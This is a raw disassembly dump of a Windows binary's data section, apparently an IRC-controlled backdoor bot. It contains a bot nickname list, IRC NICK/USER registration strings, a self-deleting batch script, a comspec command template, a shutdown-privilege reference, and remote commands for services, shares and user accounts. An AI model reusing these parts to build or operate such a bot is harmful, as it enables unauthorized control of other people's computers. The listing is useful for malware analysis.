		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438720o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438714o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438708o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438704o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438700o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386E4o
aBbl		db '|bbl',0             ; DATA XREF: ___:004386D8o
		align 4
off_438838	dd offset loc_425242	; DATA XREF: ___:004386D4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:004386C0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:004386BCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:004386B8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:004386B4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:004386B0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:004386ACo
aRt		db 'rt',0               ; DATA XREF: ___:004386A8o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:004386A4o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:004386A0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:0043869Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438698o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438678o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00438630o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043862Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00438628o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00438624o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00438620o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043861Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: ___:00438618o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00438614o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00438610o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:0043860Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00438608o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00438604o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00438600o
aLag		db 'lag',0              ; DATA XREF: ___:004385FCo
aBad		db 'bad',0              ; DATA XREF: ___:004385F8o
aTree		db 'tree',0             ; DATA XREF: ___:004385F4o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:004385F0o
aLez		db 'lez',0              ; DATA XREF: ___:004385ECo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385E4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385E0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385DCo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385D8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:004385D4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:004385D0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:004385CCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:004385C8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:004385C4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:004385C0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:004385BCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:004385B8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:004385B4o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:004385B0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:004385ACo
aAkden		db 'akden',0            ; DATA XREF: ___:004385A8o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:004385A4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:004385A0o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043859Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438598o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438594o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438590o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043858Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438588o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438584o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438580o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043857Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438578o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438574o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438570o
		align 4
off_438A18	dd offset byte_4B5245	; DATA XREF: ___:0043856Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00438568o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00438564o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438560o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043855Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:00438558o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00438554o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438550o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043854Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438548o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00438544o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438540o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043853Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438538o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00438534o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00438530o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043852Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00438528o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00438524o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00438520o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043851Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438518o
aHoly		db 'holy',0             ; DATA XREF: ___:00438514o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438510o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043850Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438508o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438504o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438500o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384FCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384F8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384F4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384F0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384ECo
aArda		db 'arda',0             ; DATA XREF: ___:004384E8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384E4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384E0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384DCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384D8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:004384D4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:004384D0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:004384CCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:004384C8o
		align 4
off_438BAC	dd offset byte_457441	; DATA XREF: ___:004384C4o
dword_438BB0	dd 414C5941h, 2Dh	; DATA XREF: ___:004384C0o
aAlbina		db 'albina',0           ; DATA XREF: ___:004384BCo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:004384B8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:004384B4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:004384B0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:004384ACo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:004384A8o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:004384A4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:004384A0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043849Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438498o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438494o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438490o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043848Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438488o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438484o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438480o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043847Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438478o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438474o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438470o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:0043846Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438468o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00438464o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438460o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:0043845Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438458o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00438454o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438450o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:0043844Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438448o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00438444o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438440o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043843Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438438o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00438434o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00438430o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043842Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00438428o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00438424o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00438420o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043841Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438418o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438414o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438410o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043840Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438408o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438404o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438400o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:004383FCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:004383F8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:004383F4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:004383F0o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383ECo
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383E8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383E4o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383E0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383DCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383D8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:004383D4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:004383D0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:004383CCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:004383C8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:004383C4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:004383C0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:004383BCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:004383B8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:004383B4o
		align 4
aM_0:					; DATA XREF: ___:004383B0o
					; ___:004386FCo
		unicode	0, <M>,0
word_438E18	dw 4Eh			; DATA XREF: sub_419E7A+38r
					; ___:004383ACo
		align 4
dword_438E1C	dd 42h			; DATA XREF: ___:004383A8o
dword_438E20	dd 56h			; DATA XREF: ___:004383A4o
dword_438E24	dd 43h			; DATA XREF: ___:004383A0o
dword_438E28	dd 58h			; DATA XREF: ___:0043839Co
					; ___:00438730o
dword_438E2C	dd 5Ah			; DATA XREF: ___:00438398o
dword_438E30	dd 4Ch			; DATA XREF: ___:00438394o
dword_438E34	dd 4Bh			; DATA XREF: ___:00438390o
dword_438E38	dd 4Ah			; DATA XREF: ___:0043838Co
dword_438E3C	dd 48h			; DATA XREF: ___:00438388o
dword_438E40	dd 47h			; DATA XREF: ___:00438384o
dword_438E44	dd 46h			; DATA XREF: ___:00438380o
					; ___:004386F8o
dword_438E48	dd 44h			; DATA XREF: ___:0043837Co
dword_438E4C	dd 53h			; DATA XREF: ___:00438378o
dword_438E50	dd 50h			; DATA XREF: ___:00438370o
dword_438E54	dd 4Fh			; DATA XREF: ___:0043836Co
dword_438E58	dd 55h			; DATA XREF: ___:00438364o
word_438E5C	dw 59h			; DATA XREF: sub_41A19E+38r
					; ___:00438360o
		align 10h
dword_438E60	dd 54h			; DATA XREF: ___:0043835Co
dword_438E64	dd 52h			; DATA XREF: ___:00438358o
dword_438E68	dd 45h			; DATA XREF: ___:00438354o
dword_438E6C	dd 57h			; DATA XREF: ___:00438350o
dword_438E70	dd 51h			; DATA XREF: ___:0043834Co
dword_438E74	dd 62h			; DATA XREF: ___:00438340o
					; ___:00438634o ...
dword_438E78	dd 78h			; DATA XREF: ___:00438334o
					; ___:0043868Co
dword_438E7C	dd 7Ah			; DATA XREF: ___:00438330o
					; ___:00438694o ...
dword_438E80	dd 68h			; DATA XREF: ___:00438320o
					; ___:0043864Co
dword_438E84	dd 67h			; DATA XREF: ___:0043831Co
					; ___:00438648o ...
dword_438E88	dd 66h			; DATA XREF: ___:00438318o
					; ___:00438644o
dword_438E8C	dd 79h			; DATA XREF: ___:004382FCo
					; ___:00438690o
dword_438E90	dd 77h			; DATA XREF: ___:004382ECo
					; ___:00438688o
dword_438E94	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177D0+B1o
dword_438EA0	dd 323334h		; DATA XREF: sub_4177D0+79o
dword_438EA4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177D0+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BB+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADE+BCo
					; sub_417ADE+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418294+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41835A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41835A+48o
		align 4
unk_43901C	db  2Dh	; -		; DATA XREF: sub_4184E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43904C	db  2Dh	; -		; DATA XREF: sub_4184E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439074	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E2+5Co
		dd 65726165h, 64h
off_439090	dd offset aAdd		; DATA XREF: sub_4186C2+60r
					; sub_418A99+51r ...
					; "Add"
off_439094	dd offset aAdded	; DATA XREF: sub_4186C2+2Dr
					; sub_418A99+83r ...
					; "Added"
dword_439098	dd 0			; DATA XREF: sub_4186C2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439104h, 4390FCh,	2, 4390F0h, 4390E4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004390C4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004390C0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004390B8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004390B4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004390ACo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004390A8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004390A0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043909Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439094o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439090o
unk_439158	db  2Dh	; -		; DATA XREF: sub_4186C2+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43917C	db  2Dh	; -		; DATA XREF: sub_4186C2+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_4391A8	db  2Dh	; -		; DATA XREF: sub_4186C2+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DE:loc_4188E8o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DE:loc_4188E1o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DE:loc_4188DAo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188D3o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DE:loc_4188C5o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DE:loc_4188BEo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188B7o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DE:loc_41888Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DE:loc_418885o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DE:loc_41887Eo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DE:loc_418877o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DE:loc_41884Co
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DE:loc_418824o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895C+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895C:loc_418A28o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895C:loc_418A21o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning	db '    Running',0      ; DATA XREF: sub_41895C:loc_418A13o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895C:loc_418A0Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895C+25o
		align 4
unk_4396FC	db  2Dh	; -		; DATA XREF: sub_418A99+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439720	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A99+8Ao
		dd 73252720h, 27h
unk_43973C	db  2Dh	; -		; DATA XREF: sub_418A99+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8F+B5o
unk_439788	db  2Dh	; -		; DATA XREF: sub_418C8F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8F+26o
		align 4
unk_4397E8	db  2Dh	; -		; DATA XREF: sub_418DB0+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_418DB0+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439840	db  2Dh	; -		; DATA XREF: sub_418DB0+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439860	db  2Dh	; -		; DATA XREF: sub_418EF7+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF7+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF7+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF7+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF7+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF7:loc_419016o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF7:loc_41900Fo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF7:loc_419008o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF7+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF7+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
		align 4
unk_439A1C	db  2Dh	; -		; DATA XREF: sub_4192E0+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192E0+BEo
		align 10h
unk_439A50	db  2Dh	; -		; DATA XREF: sub_4192E0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419460:loc_419544o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419460+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
